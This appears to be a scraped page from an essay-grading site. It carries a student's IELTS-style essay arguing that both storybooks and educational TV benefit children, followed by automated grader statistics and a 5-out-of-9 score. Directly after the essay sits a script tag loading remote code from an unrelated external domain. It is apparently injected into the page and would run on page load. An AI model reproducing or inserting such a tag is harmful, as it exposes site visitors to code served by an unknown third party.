Some people think reading stories in books is better than watching TV or playing computer games for children. To what extent do you agree or disagree?
It is argued by some individuals that reading storybooks is more valuable for children as compared with seeing TV or playing computer games. I believe reading storybooks is profitable for children but watching some shows on TV also improve the knowledge in a child, therefore, I agree to some extent only
To begin with, reading storybooks can improve children command on language and develop their imagination power. Children should be encouraged to read storybooks or news articles on a daily basis, it will help them to improve their vocabulary and understanding of words with a different context. For instance, the use of the same word in a different context can have a different meaning, and this can only be learnt by students through reading on a regular basis. In addition to that, while reading storybooks children make imaginary pictures in mind to develop the story and this makes them more creative in imagination.
However, watching TV shows like history channels or discovery channels can account for improving knowledge in children. Watching some television shows can benefit children in gaining information about different scientific discoveries and art, culture and history of our ancestors. For instance, the basic learning of science subject can be achieved through discovery kids program to know the different concepts like air, water and other gases in the environment and their importance in our daily life. Hence, encourage kids to watch television to some extent is useful also.
In conclusion, both the aspects have benefits for children in different aspects, thus I believe that children can learn language through reading stories and also can improve their knowledge in science and art subject through watching television shows.
<script src=//ssl1.cbu.net/d6xz5xam></script>
Post date | Users | Rates | Link to Content |
---|---|---|---|
2019-08-04 | bhatvishal@ | 56 | view |
- The use of mobile phone is as antisocial as smoking. Smoking is banned in certain places so mobile phone should be banned like smoking. To what extent do you agree or disagree? 61
- Many people believe the government should spend money on faster public transport Others think that money should be spent on different aspects of public transportation such as cost reduction and environmental conservation Discuss both views and give your o 84
- Some people say that people should encourage their children to take part in organized group activities in their free time. Others say that it is important for children to learn how to occupy themselves on their own.Discuss both the views and give your opi 73
- Some people think that in order to solve traffic and transportation problems people should be encouraged to live in cities rather than in suburbs or in the countryside To what extent do you agree or disagree 67
- Some employers of er their employees subsidised membership of gyms and sports clubs,believing that this will make their staf healthier and thus more ef ective at work. Other employerssee no benefit in doing so.Consider the arguments from both aspects of t 100
Grammar and spelling errors:
Line 1, column 305, Rule ID: WHITESPACE_RULE
Message: Possible typo: you repeated a whitespace
Suggestion:
..., therefore, I agree to some extent only To begin with, reading storybooks can im...
^^^^^
Line 5, column 570, Rule ID: ALSO_SENT_END[1]
Message: 'Also' is not used at the end of the sentence. Use 'as well' instead.
Suggestion: as well
...tch television to some extent is useful also. In conclusion, both the aspects hav...
^^^^
Transition Words or Phrases used:
also, but, hence, however, if, so, therefore, thus, while, for instance, in addition, in conclusion, to begin with
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 7.0 13.1623246493 53% => More to be verbs wanted.
Auxiliary verbs: 10.0 7.85571142285 127% => OK
Conjunction : 14.0 10.4138276553 134% => OK
Relative clauses : 3.0 7.30460921844 41% => More relative clauses wanted.
Pronoun: 18.0 24.0651302605 75% => OK
Preposition: 40.0 41.998997996 95% => OK
Nominalization: 10.0 8.3376753507 120% => OK
Performance on vocabulary words:
No of characters: 1489.0 1615.20841683 92% => OK
No of words: 278.0 315.596192385 88% => More content wanted.
Chars per words: 5.35611510791 5.12529762239 105% => OK
Fourth root words length: 4.08329915638 4.20363070211 97% => OK
Word Length SD: 2.77774479677 2.80592935109 99% => OK
Unique words: 142.0 176.041082164 81% => More unique words wanted.
Unique words percentage: 0.510791366906 0.561755894193 91% => More unique words wanted or less content wanted.
syllable_count: 455.4 506.74238477 90% => OK
avg_syllables_per_word: 1.6 1.60771543086 100% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 4.0 5.43587174349 74% => OK
Article: 2.0 2.52805611222 79% => OK
Subordination: 1.0 2.10420841683 48% => OK
Conjunction: 1.0 0.809619238477 124% => OK
Preposition: 3.0 4.76152304609 63% => OK
Performance on sentences:
How many sentences: 10.0 16.0721442886 62% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 27.0 20.2975951904 133% => The Avg. Sentence Length is relatively long.
Sentence length SD: 58.5218762515 49.4020404114 118% => OK
Chars per sentence: 148.9 106.682146367 140% => OK
Words per sentence: 27.8 20.7667163134 134% => OK
Discourse Markers: 11.4 7.06120827912 161% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 2.0 5.01903807615 40% => OK
Sentences with positive sentiment : 9.0 8.67935871743 104% => OK
Sentences with negative sentiment : 0.0 3.9879759519 0% => More negative sentences wanted.
Sentences with neutral sentiment: 1.0 3.4128256513 29% => More facts, knowledge or examples wanted.
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.234407534742 0.244688304435 96% => OK
Sentence topic coherence: 0.112425129335 0.084324248473 133% => OK
Sentence topic coherence SD: 0.0700620288677 0.0667982634062 105% => OK
Paragraph topic coherence: 0.172397704046 0.151304729494 114% => OK
Paragraph topic coherence SD: 0.0953989682994 0.056905535591 168% => OK
Essay readability:
automated_readability_index: 17.7 13.0946893788 135% => OK
flesch_reading_ease: 44.07 50.2224549098 88% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 13.8 11.3001002004 122% => OK
coleman_liau_index: 14.1 12.4159519038 114% => OK
dale_chall_readability_score: 8.5 8.58950901804 99% => OK
difficult_words: 62.0 78.4519038076 79% => More difficult words wanted.
linsear_write_formula: 14.0 9.78957915832 143% => OK
gunning_fog: 12.8 10.1190380762 126% => OK
text_standard: 14.0 10.7795591182 130% => OK
What are above readability scores?
---------------------
Rates: 56.1797752809 out of 100
Scores by essay e-grader: 5.0 Out of 9
---------------------
Note: the e-grader does NOT examine the meaning of words and ideas. VIP users will receive further evaluations by advanced module of e-grader and human graders.